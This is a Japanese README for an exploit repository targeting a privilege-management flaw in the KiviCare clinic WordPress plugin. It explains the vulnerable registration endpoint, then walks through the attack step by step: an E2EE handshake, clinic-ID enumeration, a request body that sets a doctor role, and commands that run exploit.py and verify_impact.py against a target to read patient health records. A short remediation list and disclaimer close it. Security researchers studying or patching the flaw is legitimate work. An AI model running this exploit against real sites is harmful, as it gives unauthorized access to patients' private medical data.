
KiviCare WordPressプラグインの不適切な権限管理を悪用して、未認証の医師/受付アカウントを作成するExploit PoC。スタッフレベルのPHIアクセスを提供します。
CWE-269 (Improper Privilege Management) | 攻撃者が選択したスタッフロールでの未認証登録 → 患者PHIの開示
KiviCare – Clinic & Patient Management System WordPressプラグイン(バージョン4.5.1以下)における重大な脆弱性で、未認証の攻撃者がdoctor(kiviCare_doctor)またはreceptionist(kiviCare_receptionist)アカウントを自由に選択したパスワードで登録し、攻撃者が選択した診療所に関連付けることができます。
この脆弱性は、公開登録エンドポイントがリクエストボディからuser_roleパラメータを直接受け取り、その検証ホワイトリストに診療所スタッフロールが含まれているために発生します。
| ゲート | 機能 | 結果 |
|---|---|---|
permission_callback | is_user_logged_in()、nonce、権限チェックなし | 通過する。return trueで終了 |
user_role ホワイトリスト | kiviCare_doctor、kiviCare_receptionist、kiviCare_patientを受け入れる | 攻撃者がスタッフロールを選択可能 |
patient_role_only パラメータ | デフォルトyesと宣言 | 読み取られない — デッドパラメータ |
| reCAPTCHA | if (isset($params['recaptchaToken']))の場合のみ検証 | パラメータを省略することでバイパスされる |
登録エンドポイント POST /wp-json/kivicare/v1/auth/register
(app/controllers/api/AuthController.php:237–242)は、
checkRegistrationPermission()(:602–650)のみで保護されており、
この関数は次のように動作します。
users_can_registerが有効な場合、即座にtrueを返します(認証チェックなし)。KCOption::get()がnullを返すため、デフォルトは許可になります。return true**にフォールスルーします。次に、register()ハンドラー(:1277–1387)はリクエストボディからuser_roleを読み取り、
KCDoctor / KCReceptionistモデルにマッピングして、$model->save()を呼び出します。
このsave()はwp_insert_user()とsetRole('kiviCare_doctor')
(app/models/KCDoctor.php:136)を、認可チェックを一切行わずに実行します。
結果として作成されたアカウントは有効で、攻撃者が選択した診療所に関連付けられます。
プラグインのE2EEボディ暗号化は障壁にはなりません。ハンドシェイクエンドポイント
(server-key、config/register-key)は認証不要
(app/controllers/api/ConfigController.php:190–205)のため、任意のクライアントが
ゲストキーをネゴシエートして暗号化ペイロードを送信できます。
完全なウォークスルー: analysis/TECHNICAL_ANALYSIS.md
1. Handshake (encrypted targets):
POST /wp-json/kivicare/v1/server-key -> server X25519 public key
POST /wp-json/kivicare/v1/config/register-key -> register own public key
(header x_kc_client_id: <anything>, body {"public_key": "<base64>"})
2. Enumerate a valid clinic ID via the validation oracle:
"Invalid clinic selected" -> clinic does not exist
"Username already exists" -> clinic exists
3. Encrypt the payload and send:
POST /wp-json/kivicare/v1/auth/register
body = base64( nonce(24B) || crypto_box(json) )
{
"username": "attacker",
"email": "[email protected]",
"password": "P@ssw0rd-123!",
"first_name": "Att", "last_name": "Acker",
"mobile_number": "+15550133777",
"gender": "male",
"user_role": "kiviCare_doctor", <-- vulnerable parameter
"user_clinic": 1
}
4. HTTP 201 "Registration successful." -> active doctor account created
5. Login via wp-login.php or REST /auth/login -> staff access to patient PHI
git clone https://github.com/ghostpels/CVE-2026-13610.git
cd CVE-2026-13610
pip install -r requirements.txt
python preflight.py http://target.com
python exploit.py --url http://target.com \
--username attacker --email [email protected] --password 'P@ssw0rd-123!'
スクリプトはトランスポートモード(プレーンJSONとE2EE暗号化)を自動検出し、--clinicが指定されていない場合は診療所IDを列挙します。
python verify_impact.py --url http://target.com \
--username attacker --password 'P@ssw0rd-123!'
REST経由でログインし、アカウントのE2EEレスポンスキーを再バインドしてから、スタッフ専用エンドポイント(/patients、/appointments)を呼び出します。
--url Target base URL (required)
--username Username to create (default: attacker<random>)
--email Email (default: <username>@evil.example)
--password Password (default: Poc!Passw0rd-2026)
--role kiviCare_doctor (default) | kiviCare_receptionist | kiviCare_patient
--clinic Clinic ID (auto-enumerated when omitted)
--mobile Mobile number (default: random +1555...)
--first-name First name (default: Dr)
--last-name Last name (default: Poc)
--gender Gender (default: male)
--no-verify Skip post-creation login verification
悪用に成功すると、認証不要で実際の診療所にマッピングされた有効なスタッフアカウントが取得されます。
wp-adminダッシュボードへのアクセス(read +
upload_files)を持つ有効なWordPressアカウント — さらなる攻撃の足掛かりこのエンドポイントではWordPressのadministratorアカウントを作成することはできません(user_roleホワイトリストが拒否するため)が、doctorロールがあれば完全な臨床データへのアクセスに十分です。
patient_role_onlyパラメータを適用するcurrent_user_can('create_users') + nonce検証の背後にある管理者専用エンドポイントに移すcheckRegistrationPermissionでデフォルトで拒否する — フォールスルーのreturn trueを削除するrecaptchaTokenを必須にする(現在は任意)教育目的および許可を得たテスト目的に限ります。
このツールは、対象システムへのテストについて明示的な書面による許可を得たセキュリティ研究者およびペネトレーションテスターを対象としています。コンピュータシステムへの不正アクセスは違法です。作者はこのツールの誤用に対する一切の責任を負いません。すべての検証は作者自身のラボ環境で実施されました。
ghostpels — セキュリティリサーチ & エクスプロイト開発
このプロジェクトはghostpels Security Research Licenseの下でライセンスされています。
| フィールド | 値 |
|---|
| CVE ID | CVE-2026-13610 |
| CWE | CWE-269 (Improper Privilege Management) |
| プラグイン | KiviCare – Clinic & Patient Management System |
| 影響を受けるバージョン | 4.5.1以下 |
| パッチ適用状況 | 本分析時点では未確認 |
| タイプ | スタッフロールでの未認証アカウント作成(権限昇格) |
| 研究者 | Sai Praneeth Koti |
| 公開日 | 2026 |